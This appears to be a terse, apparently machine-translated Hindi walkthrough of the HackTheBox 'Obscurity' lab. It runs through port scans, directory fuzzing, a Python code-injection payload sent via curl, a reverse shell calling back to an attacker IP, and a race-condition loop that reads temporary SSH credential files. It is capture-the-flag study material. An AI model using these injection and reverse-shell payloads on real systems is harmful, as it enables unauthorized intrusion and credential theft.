HackTheBox। अस्पष्टता का मार्ग। ओएस कमांड इंजेक्शन और रेस कंडीशन

टोह

10.10.10.168    obscurity.htb

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.168 --rate=500

nmap -A obscurity.htb -p22,8080

1. रिकॉर्डिंग सर्वर
2. एन्क्रिप्शन का इस्तेमाल किया
3. कुछ अज्ञात निर्देशिका में SuperSecureServer.py फ़ाइल में सर्वर कोड।

wfuzz -w /usr/share/dirb/wordlists/common.txt -u http://obscurity.htb:8080/FUZZ/SuperSecureServer.py --hc 404

wget http://obscurity.htb:8080/develop/SuperSecureServer.py

प्रवेश बिंदु

curl http://127.0.0.1:33333/asd

curl "http://127.0.0.1:33333/asd'"

curl "http://127.0.0.1:33333/asd''"

curl "http://127.0.0.1:33333/asd';os.system(\"whoami\");'"

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("10.10.15.60",4321));
os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/sh","-i"]);

curl "http://127.0.0.1:33333/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

curl "http://obscurity.htb:8080/asd';s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.15.60\",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\[\"/bin/sh\",\"-i\"\]);'"

उपयोगकर्ता

जड़

for ((;;)) do cat /tmp/SSH/* 2>/dev/null && break ; done

sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py